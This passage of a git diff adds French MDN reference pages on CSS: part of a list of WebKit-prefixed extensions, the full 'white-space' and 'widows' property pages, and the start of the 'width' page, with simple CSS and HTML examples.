+ <li>{{CSSxRef("-webkit-text-stroke-width")}}</li>
+ <li>{{CSSxRef("-webkit-touch-callout")}}</li>
+</ul>
+</div>
+
+<h2 id="Propriétés_WebKit_en_voie_de_standardisation">Propriétés WebKit en voie de standardisation</h2>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("appearance", "-webkit-appearance")}}</li>
+ <li>{{CSSxRef("-webkit-font-size-delta")}}</li>
+ <li>{{CSSxRef("-webkit-mask-composite")}}</li>
+ <li>{{CSSxRef("-webkit-mask-position-x")}}</li>
+ <li>{{CSSxRef("-webkit-mask-position-y")}}</li>
+ <li>{{CSSxRef("-webkit-mask-repeat-x")}}</li>
+ <li>{{CSSxRef("-webkit-mask-repeat-y")}}</li>
+</ul>
+</div>
+
+<h2 id="Anciennes_propriétés_spécifiques_désormais_standardisées"><a id="spe_std" name="spe_std">Anciennes propriétés spécifiques désormais standardisées</a></h2>
+
+<div class="note">
+<p><strong>Note :</strong> Afin d'obtenir la meilleure compatibilité possible, vous devriez utiliser les versions standards, non-préfixées, de ces propriétés plutôt que les versions spécifiques. Généralement, lorsqu'une propriété est standardisée et implémentée, la version préfixée est généralement abandonnée ensuite.</p>
+</div>
+
+<div class="index">
+<h3 id="A_2">A</h3>
+
+<ul>
+ <li>{{CSSxRef("align-content","-webkit-align-content")}}</li>
+ <li>{{CSSxRef("align-items","-webkit-align-items")}}</li>
+ <li>{{CSSxRef("align-self","-webkit-align-self")}}</li>
+ <li>{{CSSxRef("animation","-webkit-animation")}}</li>
+ <li>{{CSSxRef("animation-delay","-webkit-animation-delay")}}</li>
+ <li>{{CSSxRef("animation-direction","-webkit-animation-direction")}}</li>
+ <li>{{CSSxRef("animation-duration","-webkit-animation-duration")}}</li>
+ <li>{{CSSxRef("animation-fill-mode","-webkit-animation-fill-mode")}}</li>
+ <li>{{CSSxRef("animation-iteration-count","-webkit-animation-iteration-count")}}</li>
+ <li>{{CSSxRef("animation-name","-webkit-animation-name")}}</li>
+ <li>{{CSSxRef("animation-play-state","-webkit-animation-play-state")}}</li>
+ <li>{{CSSxRef("animation-timing-function","-webkit-animation-timing-function")}}</li>
+</ul>
+
+<h3 id="B_2">B</h3>
+
+<ul>
+ <li>{{CSSxRef("backface-visibility","-webkit-backface-visibility")}}</li>
+ <li>{{CSSxRef("background-clip","-webkit-background-clip")}}</li>
+ <li>{{CSSxRef("background-origin","-webkit-background-origin")}}</li>
+ <li>{{CSSxRef("background-size","-webkit-background-size")}}</li>
+ <li>{{CSSxRef("border-bottom-left-radius","-webkit-border-bottom-left-radius")}}</li>
+ <li>{{CSSxRef("border-bottom-right-radius","-webkit-border-bottom-right-radius")}}</li>
+ <li>{{CSSxRef("border-image","-webkit-border-image")}}</li>
+ <li>{{CSSxRef("border-radius","-webkit-border-radius")}}</li>
+ <li>{{CSSxRef("border-top-left-radius","-webkit-border-top-left-radius")}}</li>
+ <li>{{CSSxRef("border-top-right-radius","-webkit-border-top-right-radius")}}</li>
+ <li>{{CSSxRef("box-shadow","-webkit-box-shadow")}}</li>
+ <li>{{CSSxRef("box-sizing","-webkit-box-sizing")}}</li>
+</ul>
+
+<h3 id="C">C</h3>
+
+<ul>
+ <li>{{CSSxRef("column-count","-webkit-column-count")}}</li>
+ <li>{{CSSxRef("column-gap","-webkit-column-gap")}}</li>
+ <li>{{CSSxRef("column-rule","-webkit-column-rule")}}</li>
+ <li>{{CSSxRef("column-rule-color","-webkit-column-rule-color")}}</li>
+ <li>{{CSSxRef("column-rule-style","-webkit-column-rule-style")}}</li>
+ <li>{{CSSxRef("column-rule-width","-webkit-column-rule-width")}}</li>
+ <li>{{CSSxRef("column-span","-webkit-column-span")}}</li>
+ <li>{{CSSxRef("column-width","-webkit-column-width")}}</li>
+ <li>{{CSSxRef("columns","-webkit-columns")}}</li>
+</ul>
+
+<h3 id="F">F</h3>
+
+<ul>
+ <li>{{CSSxRef("filter","-webkit-filter")}}</li>
+ <li>{{CSSxRef("flex","-webkit-flex")}}</li>
+ <li>{{CSSxRef("flex-basis","-webkit-flex-basis")}}</li>
+ <li>{{CSSxRef("flex-direction","-webkit-flex-direction")}}</li>
+ <li>{{CSSxRef("flex-flow","-webkit-flex-flow")}}</li>
+ <li>{{CSSxRef("flex-grow","-webkit-flex-grow")}}</li>
+ <li>{{CSSxRef("flex-shrink","-webkit-flex-shrink")}}</li>
+ <li>{{CSSxRef("flex-wrap","-webkit-flex-wrap")}}</li>
+ <li>{{CSSxRef("-webkit-font-feature-settings")}}</li>
+ <li>{{CSSxRef("-webkit-font-kerning")}}</li>
+ <li>{{CSSxRef("-webkit-font-variant-ligatures")}}</li>
+</ul>
+
+<h3 id="G-J">G-J</h3>
+
+<ul>
+ <li>{{CSSxRef("grid-column","-webkit-grid-column")}}</li>
+ <li>{{CSSxRef("grid-row","-webkit-grid-row")}}</li>
+ <li>{{CSSxRef("hyphens","-webkit-hyphens")}}</li>
+ <li>{{CSSxRef("justify-content","-webkit-justify-content")}}</li>
+</ul>
+
+<h3 id="M_2">M</h3>
+
+<ul>
+ <li>{{CSSxRef("mask","-webkit-mask")}}</li>
+ <li>{{CSSxRef("mask-clip","-webkit-mask-clip")}}</li>
+ <li>{{CSSxRef("mask-image","-webkit-mask-image")}}</li>
+ <li>{{CSSxRef("mask-origin","-webkit-mask-origin")}}</li>
+ <li>{{CSSxRef("mask-position","-webkit-mask-position")}}</li>
+ <li>{{CSSxRef("mask-repeat","-webkit-mask-repeat")}}</li>
+ <li>{{CSSxRef("mask-size","-webkit-mask-size")}}</li>
+</ul>
+
+<h3 id="O-S">O-S</h3>
+
+<ul>
+ <li>{{CSSxRef("opacity","-webkit-opacity")}}</li>
+ <li>{{CSSxRef("order","-webkit-order")}}</li>
+ <li>{{CSSxRef("perspective","-webkit-perspective")}}</li>
+ <li>{{CSSxRef("perspective-origin","-webkit-perspective-origin")}}</li>
+ <li>{{CSSxRef("shape-outside","-webkit-shape-outside")}}</li>
+</ul>
+
+<h3 id="T_2">T</h3>
+
+<ul>
+ <li>{{CSSxRef("text-emphasis", "-epub-text-emphasis")}}</li>
+ <li>{{CSSxRef("-webkit-text-emphasis")}}</li>
+ <li>{{CSSxRef("text-emphasis-color", "-epub-text-emphasis-color")}}</li>
+ <li>{{CSSxRef("-webkit-text-emphasis-color")}}</li>
+ <li>{{CSSxRef("-webkit-text-emphasis-position")}}</li>
+ <li>{{CSSxRef("-epub-text-emphasis-style")}}</li>
+ <li>{{CSSxRef("-webkit-text-emphasis-style")}}</li>
+ <li>{{CSSxRef("text-size-adjust","-webkit-text-size-adjust")}}</li>
+ <li>{{CSSxRef("transform","-webkit-transform")}}</li>
+ <li>{{CSSxRef("transform-origin","-webkit-transform-origin")}}</li>
+ <li>{{CSSxRef("transform-style","-webkit-transform-style")}}</li>
+ <li>{{CSSxRef("transition","-webkit-transition")}}</li>
+ <li>{{CSSxRef("transition-delay","-webkit-transition-delay")}}</li>
+ <li>{{CSSxRef("transition-duration","-webkit-transition-duration")}}</li>
+ <li>{{CSSxRef("transition-property","-webkit-transition-property")}}</li>
+ <li>{{CSSxRef("transition-timing-function","-webkit-transition-timing-function")}}</li>
+</ul>
+
+<h3 id="W">W</h3>
+
+<ul>
+ <li>{{CSSxRef("word-break", "-epub-word-break")}}</li>
+ <li>{{CSSxRef("writing-mode", "-epub-writing-mode")}}</li>
+</ul>
+</div>
+
+<h2 id="Spécificités_prises_en_charge_par_Firefox">Spécificités prises en charge par Firefox</h2>
+
+<p>Les propriétés suivantes peuvent être utilisées avec le préfixe <code>-webkit-</code> sous Firefox. La plupart de ces propriétés peuvent également s'utiliser sans préfixes (voir la section sur les <a href="#spe_std">propriétés anciennement spécifiques et désormais standard </a>ci-avant).</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> En raison du code historique utilisé dans de nombreux sites web et contenant des propriétés préfixées avec <code>-webkit-</code>, Edge et Firefox redirigent de nombreuses propriétés préfixées avec <code>-webkit-</code> vers les équivalents sans préfixe ou avec <code>-moz-</code> ou <code>-ms-</code>.</p>
+</div>
+
+<div class="index">
+<h3 id="A_3">A</h3>
+
+<ul>
+ <li>{{CSSxRef("-webkit-align-content")}}</li>
+ <li>{{CSSxRef("-webkit-align-items")}}</li>
+ <li>{{CSSxRef("-webkit-align-self")}}</li>
+ <li>{{CSSxRef("-webkit-animation")}}</li>
+ <li>{{CSSxRef("-webkit-animation-delay")}}</li>
+ <li>{{CSSxRef("-webkit-animation-direction")}}</li>
+ <li>{{CSSxRef("-webkit-animation-duration")}}</li>
+ <li>{{CSSxRef("-webkit-animation-fill-mode")}}</li>
+ <li>{{CSSxRef("-webkit-animation-iteration-count")}}</li>
+ <li>{{CSSxRef("-webkit-animation-name")}}</li>
+ <li>{{CSSxRef("-webkit-animation-play-state")}}</li>
+ <li>{{CSSxRef("-webkit-animation-timing-function")}}</li>
+ <li>{{CSSxRef("-webkit-appearance")}}*</li>
+</ul>
+
+<h3 id="B_3">B</h3>
+
+<ul>
+ <li>{{CSSxRef("-webkit-backface-visibility")}}</li>
+ <li>{{CSSxRef("-webkit-background-clip")}}</li>
+ <li>{{CSSxRef("-webkit-background-origin")}}</li>
+ <li>{{CSSxRef("-webkit-background-size")}}</li>
+ <li>{{CSSxRef("-webkit-border-bottom-left-radius")}}</li>
+ <li>{{CSSxRef("-webkit-border-bottom-right-radius")}}</li>
+ <li>{{CSSxRef("-webkit-border-image")}}</li>
+ <li>{{CSSxRef("-webkit-border-radius")}}</li>
+ <li>{{CSSxRef("-webkit-box-align")}}**, ***</li>
+ <li>{{CSSxRef("-webkit-box-direction")}}**, ***</li>
+ <li>{{CSSxRef("-webkit-box-flex")}}**, ***</li>
+ <li>{{CSSxRef("-webkit-box-orient")}}**, ***</li>
+ <li>{{CSSxRef("-webkit-box-pack")}}**, ***</li>
+ <li>{{CSSxRef("-webkit-box-shadow")}}</li>
+ <li>{{CSSxRef("-webkit-box-sizing")}}</li>
+ <li>{{CSSxRef("-webkit-border-top-left-radius")}}</li>
+ <li>{{CSSxRef("-webkit-border-top-right-radius")}}</li>
+</ul>
+
+<h3 id="F_2">F</h3>
+
+<ul>
+ <li>{{CSSxRef("-webkit-filter")}}</li>
+ <li>{{CSSxRef("-webkit-flex")}}</li>
+ <li>{{CSSxRef("-webkit-flex-basis")}}</li>
+ <li>{{CSSxRef("-webkit-flex-direction")}}</li>
+ <li>{{CSSxRef("-webkit-flex-flow")}}</li>
+ <li>{{CSSxRef("-webkit-flex-grow")}}</li>
+ <li>{{CSSxRef("-webkit-flex-shrink")}}</li>
+ <li>{{CSSxRef("-webkit-flex-wrap")}}</li>
+</ul>
+
+<h3 id="J">J</h3>
+
+<ul>
+ <li>{{CSSxRef("-webkit-justify-content")}}</li>
+</ul>
+
+<h3 id="M_3">M</h3>
+
+<ul>
+ <li>{{CSSxRef("-webkit-mask")}}</li>
+ <li>{{CSSxRef("-webkit-mask-clip")}}</li>
+ <li>{{CSSxRef("-webkit-mask-composite")}}*</li>
+ <li>{{CSSxRef("-webkit-mask-image")}}</li>
+ <li>{{CSSxRef("-webkit-mask-origin")}}</li>
+ <li>{{CSSxRef("-webkit-mask-position")}}</li>
+ <li>{{CSSxRef("-webkit-mask-position-x")}}**</li>
+ <li>{{CSSxRef("-webkit-mask-position-y")}}**</li>
+ <li>{{CSSxRef("-webkit-mask-repeat")}}</li>
+ <li>{{CSSxRef("-webkit-mask-size")}}</li>
+</ul>
+
+<h3 id="O-P">O-P</h3>
+
+<ul>
+ <li>{{CSSxRef("-webkit-order")}}</li>
+ <li>{{CSSxRef("-webkit-perspective")}}</li>
+ <li>{{CSSxRef("-webkit-perspective-origin")}}</li>
+</ul>
+
+<h3 id="T_3">T</h3>
+
+<ul>
+ <li>{{CSSxRef("-webkit-text-fill-color")}}**</li>
+ <li>{{CSSxRef("-webkit-text-size-adjust")}}</li>
+ <li>{{CSSxRef("-webkit-text-stroke")}}**</li>
+ <li>{{CSSxRef("-webkit-text-stroke-color")}}**</li>
+ <li>{{CSSxRef("-webkit-text-stroke-width")}}**</li>
+ <li>{{CSSxRef("-webkit-transform")}}</li>
+ <li>{{CSSxRef("-webkit-transform-origin")}}</li>
+ <li>{{CSSxRef("-webkit-transition")}}</li>
+ <li>{{CSSxRef("-webkit-transition-delay")}}</li>
+ <li>{{CSSxRef("-webkit-transition-duration")}}</li>
+ <li>{{CSSxRef("-webkit-transition-property")}}</li>
+ <li>{{CSSxRef("-webkit-transition-timing-function")}}</li>
+</ul>
+
+<h3 id="U">U</h3>
+
+<ul>
+ <li>{{CSSxRef("-webkit-user-select")}}</li>
+</ul>
+</div>
+
+<p>* Prise en charge avec les préfixes <code>-moz-</code> et <code>-webkit-</code> dans Firefox mais pas pris en charge sans préfixe. Microsoft Edge et IE Mobile prennent en charge cette propriété avec le préfixe <code>-webkit-</code> plutôt qu'avec <code>-ms-</code> à des fins d'interopérabilité.<br>
+ ** Ces valeurs sont prises en charges bien qu'elles ne soient pas standard et qu'elles ne soient pas en cours de standardisation.<br>
+ *** On privliégiera l'utilisation des propriétés <code>flex-box</code>.</p>
+
+<h2 id="Pseudo-classes">Pseudo-classes</h2>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef(":animating-full-screen-transition", ":-webkit-animating-full-screen-transition")}}</li>
+ <li>{{CSSxRef(":any()", ":-webkit-any()")}}</li>
+ <li>{{CSSxRef(":any-link", ":-webkit-any-link")}}*</li>
+ <li>{{CSSxRef(":autofill",":-webkit-autofill")}}</li>
+ <li>{{CSSxRef(":autofill-strong-password",":-webkit-autofill-strong-password")}}</li>
+ <li>{{CSSxRef(":drag",":-webkit-drag")}}</li>
+ <li>{{CSSxRef(":full-page-media",":-webkit-full-page-media")}}</li>
+ <li>{{CSSxRef(":full-screen", ":-webkit-full-screen")}}*</li>
+ <li>{{CSSxRef(":full-screen-ancestor",":-webkit-full-screen-ancestor")}}</li>
+ <li>{{CSSxRef(":full-screen-document",":-webkit-full-screen-document")}}</li>
+ <li>{{CSSxRef(":full-screen-controls-hidden",":-webkit-full-screen-controls-hidden")}}</li>
+</ul>
+</div>
+
+<h2 id="Pseudo-éléments">Pseudo-éléments</h2>
+
+<p>Pour des raisons de compatibilité web, Blink, WebKit et Gecko considèrent les pseudo-éléments commençant par <code>::-webkit-</code> comme valides.</p>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("::-webkit-file-upload-button")}}</li>
+ <li>{{CSSxRef("::-webkit-inner-spin-button")}}</li>
+ <li>{{CSSxRef("::-webkit-input-placeholder")}}</li>
+ <li>{{CSSxRef("::-webkit-meter-bar")}}</li>
+ <li>{{CSSxRef("::-webkit-meter-even-less-good-value")}}</li>
+ <li>{{CSSxRef("::-webkit-meter-inner-element")}}</li>
+ <li>{{CSSxRef("::-webkit-meter-optimum-value")}}</li>
+ <li>{{CSSxRef("::-webkit-meter-suboptimum-value")}}</li>
+ <li>{{CSSxRef("::-webkit-outer-spin-button")}}</li>
+ <li>{{CSSxRef("::-webkit-progress-bar")}}</li>
+ <li>{{CSSxRef("::-webkit-progress-inner-element")}}</li>
+ <li>{{CSSxRef("::-webkit-progress-value")}}</li>
+ <li>{{CSSxRef("::-webkit-search-cancel-button")}}</li>
+ <li>{{CSSxRef("::-webkit-search-results-button")}}</li>
+ <li>{{CSSxRef("::-webkit-slider-runnable-track")}}</li>
+ <li>{{CSSxRef("::-webkit-slider-thumb")}}</li>
+</ul>
+</div>
+
+<h2 id="Caractéristiques_média">Caractéristiques média</h2>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("@media/-webkit-animation", "-webkit-animation")}}</li>
+ <li>{{CSSxRef("@media/-webkit-device-pixel-ratio", "-webkit-device-pixel-ratio")}}</li>
+ <li>{{CSSxRef("@media/-webkit-transform-2d", "-webkit-transform-2d")}}</li>
+ <li>{{CSSxRef("@media/-webkit-transform-3d", "-webkit-transform-3d")}}</li>
+ <li>{{CSSxRef("@media/-webkit-transition", "-webkit-transition")}}</li>
+</ul>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://trac.webkit.org/wiki/Styling%20Form%20Controls" title="https://trac.webkit.org/wiki/Styling Form Controls">La mise en forme des contrôles de formulaires sur le Trac WebKit (en anglais)</a></li>
+ <li>Une liste complémentaire d'extensions WebKit <a href="https://gist.github.com/afabbro/3759334">https://gist.github.com/afabbro/3759334</a></li>
+ <li><a href="/fr/docs/Web/CSS/Microsoft_CSS_extensions">Les extensions CSS relatives à Microsoft</a></li>
+ <li><a href="/fr/docs/Web/CSS/Mozilla_Extensions">Les extensions CSS relatives à Mozilla</a></li>
+</ul>
diff --git a/files/fr/web/css/white-space/index.html b/files/fr/web/css/white-space/index.html
new file mode 100644
index 0000000000..f283a49408
--- /dev/null
+++ b/files/fr/web/css/white-space/index.html
@@ -0,0 +1,208 @@
+---
+title: white-space
+slug: Web/CSS/white-space
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/white-space
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>white-space</code></strong> est utilisée pour décrire la façon dont les blancs sont gérés au sein de l'élément.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/white-space.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note :</strong> Afin d'obtenir une césure au sein des mots, il faudra utiliser {{cssxref("overflow-wrap")}}, {{cssxref("word-break")}} ou bien {{cssxref("hyphens")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Avec un mot-clé */
+white-space: normal;
+white-space: nowrap;
+white-space: pre;
+white-space: pre-wrap;
+white-space: pre-line;
+white-space: break-spaces;
+
+/* Valeurs globales */
+white-space: inherit;
+white-space: initial;
+white-space: unset;
+</pre>
+
+<p>La propriété <code>white-space</code> se définit avec l'un des mots-clés suivants.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>break-spaces</code></dt>
+ <dd>Le comportement est identique à celui de <code>pre-wrap</code> mais chaque séquence de blancs continue d'occuper un espace, y compris en fin de ligne. Il y aura une opportunité de saut de ligne après chaque blanc. De tels espaces auront un impact sur les dimensions intrinsèques de la boîte (<code>min-content</code> et <code>max-content</code>).</dd>
+ <dt><code>normal</code></dt>
+ <dd>Les séries de blancs sont regroupées, les caractères de saut de ligne sont gérés comme les autres blancs. Les passages à la ligne sont faits naturellement pour remplir les boîtes.</dd>
+ <dt><code>nowrap</code></dt>
+ <dd>Les blancs sont regroupés comme avec <code>normal</code> mais les passages à la ligne automatiques sont supprimés.</dd>
+ <dt><code>pre</code></dt>
+ <dd>Les séries de blancs sont conservées telles quelles. Les sauts de ligne ont uniquement lieu avec les caractères de saut de ligne et avec les éléments {{HTMLElement("br")}}.</dd>
+ <dt><code>pre-wrap</code></dt>
+ <dd>Les séries de blancs sont conservées telles quelles. Les sauts de ligne ont lieu avec les caractères de saut de ligne, avec {{HTMLElement("br")}} et on a des passages à la ligne automatiques.</dd>
+ <dt><code>pre-line</code></dt>
+ <dd>Les séries de blancs sont regroupées, les sauts de lignes ont lieu avec les caractères de saut de ligne, les éléments {{HTMLElement("br")}} et on a des passages à la ligne automatiques.</dd>
+</dl>
+
+<p>Le tableau qui suit résume le comportement des différentes valeurs :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th></th>
+   <th>Nouvelles lignes</th>
+   <th>Espaces et tabulations</th>
+   <th>Retour à la ligne automatique</th>
+   <th>Espaces en fin de ligne</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th><code>normal</code></th>
+   <td>Regroupées</td>
+   <td>Regroupés</td>
+   <td>Oui</td>
+   <td>Retirés</td>
+  </tr>
+  <tr>
+   <th><code>nowrap</code></th>
+   <td>Regroupées</td>
+   <td>Regroupés</td>
+   <td>Non</td>
+   <td>Retirés</td>
+  </tr>
+  <tr>
+   <th><code>pre</code></th>
+   <td>Préservées</td>
+   <td>Préservés</td>
+   <td>Non</td>
+   <td>Conservés</td>
+  </tr>
+  <tr>
+   <th><code>pre-wrap</code></th>
+   <td>Préservées</td>
+   <td>Préservés</td>
+   <td>Oui</td>
+   <td>Suspendus</td>
+  </tr>
+  <tr>
+   <th><code>pre-line</code></th>
+   <td>Préservées</td>
+   <td>Regroupés</td>
+   <td>Oui</td>
+   <td>Retirés</td>
+  </tr>
+  <tr>
+   <th><code>break-spaces</code></th>
+   <td>Préservées</td>
+   <td>Regroupés</td>
+   <td>Oui</td>
+   <td>Passent à la ligne.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;code&gt;
+var coucou = function(){
+  // on notera l'indentation
+  // avec deux espaces
+  console.log("Hello World");
+
+  var toto = function(){
+    // ici 4 espaces
+    console.log("Toto");
+  }
+  toto();
+}
+&lt;/code&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">code {
+  white-space: pre;
+}</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_simple")}}</p>
+
+<h3 id="Passage_automatique_à_la_ligne_dans_un_élément_pre">Passage automatique à la ligne dans un élément <code>pre</code></h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;pre&gt;
+function jeNAuraisJamaisDuAppelerCetteFonctionAvecUnNomAussiLong(toto){
+  console.log("Tout ça pour ça");
+}
+&lt;/pre&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">pre {
+  word-wrap: break-word;      /* IE 5.5-7 */
+  white-space: pre-wrap;      /* current browsers */
+}</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Passage_automatique_à_la_ligne_dans_un_élément_pre")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#propdef-white-space', 'white-space')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Définition de l'algorithme des césures de ligne et ajout de <code>break-spaces</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html#white-space-prop', 'white-space')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une <em>pull request</em> sur ce dépôt: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<div>{{Compat("css.properties.white-space")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("overflow-wrap")}}</li>
+ <li>{{cssxref("word-break")}}</li>
+ <li>{{cssxref("hyphens")}}</li>
+</ul>
diff --git a/files/fr/web/css/widows/index.html b/files/fr/web/css/widows/index.html
new file mode 100644
index 0000000000..991a6f8a38
--- /dev/null
+++ b/files/fr/web/css/widows/index.html
@@ -0,0 +1,118 @@
+---
+title: widows
+slug: Web/CSS/widows
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/widows
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>widows</code></strong> définit le nombre minimum de lignes qui peuvent être laissées en haut de la <a href="/fr/docs/Web/CSS/Medias_paginés">page</a>, région ou <a href="/fr/docs/Web/CSS/Colonnes_CSS">colonne</a> suivante. En utilisant la propriété <code>widows</code>, on évite d'avoir des veuves sur une seule ligne.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs entières */
+/* type &lt;integer&gt; */
+widows: 2;
+widows: 3;
+
+/* Valeurs globales */
+widows: inherit;
+widows: initial;
+widows: unset;
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> En typographie, une ligne veuve est la dernière ligne d'un paragraphe qui apparaît seule en haut d'une nouvelle page (alors que le paragraphe démarrait sur une page antérieure).</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;integer&gt;</code></dt>
+ <dd>Cet entier indique le nombre minimum de lignes qui peuvent apparaître en haut d'une nouvelle page, région ou colonne lorsqu'une rupture intervient. Si la valeur est négative, la déclaration est invalide.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[4]">div {
+  background-color: #8cffa0;
+  columns: 3;
+  widows: 2;
+}
+
+p {
+  background-color: #8ca0ff;
+}
+
+p:first-child {
+  margin-top: 0;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p&gt;Un premier paragraphe avec un peu de texte.&lt;/p&gt;
+  &lt;p&gt;Un deuxième paragraphe avec un peu plus de texte et qui permet d'illustrer le fonctionnement de widows.&lt;/p&gt;
+  &lt;p&gt;Enfin, un troisième paragraphe avec un peu plus de texte que le premier.&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résult">Résult</h3>
+
+<p>{{EmbedLiveSample("Exemple", 400, 160)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fragmentation', '#widows-orphans', 'widows')}}</td>
+   <td>{{Spec2('CSS3 Fragmentation')}}</td>
+   <td>Extension de <code>widows</code> qui peut désormais être appliqué à n'importe quel type de fragment : pages, régions ou colonnes.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Multicol', '#filling-columns', 'widows')}}</td>
+   <td>{{Spec2('CSS3 Multicol')}}</td>
+   <td>Recommandation d'utiliser <code>widows</code> avec les colonnes.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'page.html#break-inside', 'widows')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<p> </p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.widows")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("orphans")}}</li>
+ <li><a href="/fr/docs/Web/CSS/Medias_paginés">Médias paginés</a></li>
+</ul>
diff --git a/files/fr/web/css/width/index.html b/files/fr/web/css/width/index.html
new file mode 100644
index 0000000000..1ac1058848
--- /dev/null
+++ b/files/fr/web/css/width/index.html
@@ -0,0 +1,215 @@
+---
+title: width
+slug: Web/CSS/width
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/width
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>width</code></strong> permet de définir la largeur de la <a href="/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte">boîte du contenu</a> d'un élément. Par défaut, sa valeur est <strong><code>auto</code></strong>, c'est à dire la largeur automatiquement calculée de son contenu. Si {{cssxref("box-sizing")}} vaut <code>border-box</code>, la valeur appliquée incluera les dimensions de la boîte d'encadrement (<em>border</em>) et de la boîte de remplissage (<em>padding</em>).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/width.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les propriétés {{cssxref("min-width")}} et {{cssxref("max-width")}} permettent de surcharger {{cssxref("width")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css">/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+width: 300px;
+width: 25em;
+
+/* Valeurs en pourcentages */
+/* Type &lt;percentage&gt; */
+width: 75%;
+
+/* Avec un mot-clé */
+width: 25em border-box;
+width: 75% content-box;
+width: max-content;
+width: min-content;
+width: available;
+width: fit-content;
+width: auto;
+
+/* Valeurs globales */
+width: inherit;
+width: initial;
+width: unset;
+</pre>
+
+<p>La propriété <code>width</code> se définit avec</p>
+
+<ul>
